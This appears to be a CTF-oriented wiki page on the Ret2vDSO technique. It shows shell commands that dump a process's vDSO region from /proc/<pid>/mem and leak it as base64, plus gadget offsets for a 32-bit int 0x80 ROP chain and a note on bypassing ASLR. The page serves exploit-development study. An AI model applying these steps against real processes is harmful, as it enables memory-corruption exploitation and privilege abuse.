Ret2vDSO

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Basic Information

There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.

Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it's possible to see how it was possible to dump the vdso section and move it to the host with:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))  
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets found:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) except a way to call a SROP. Check more info int eh example from the page:

SROP - ARM64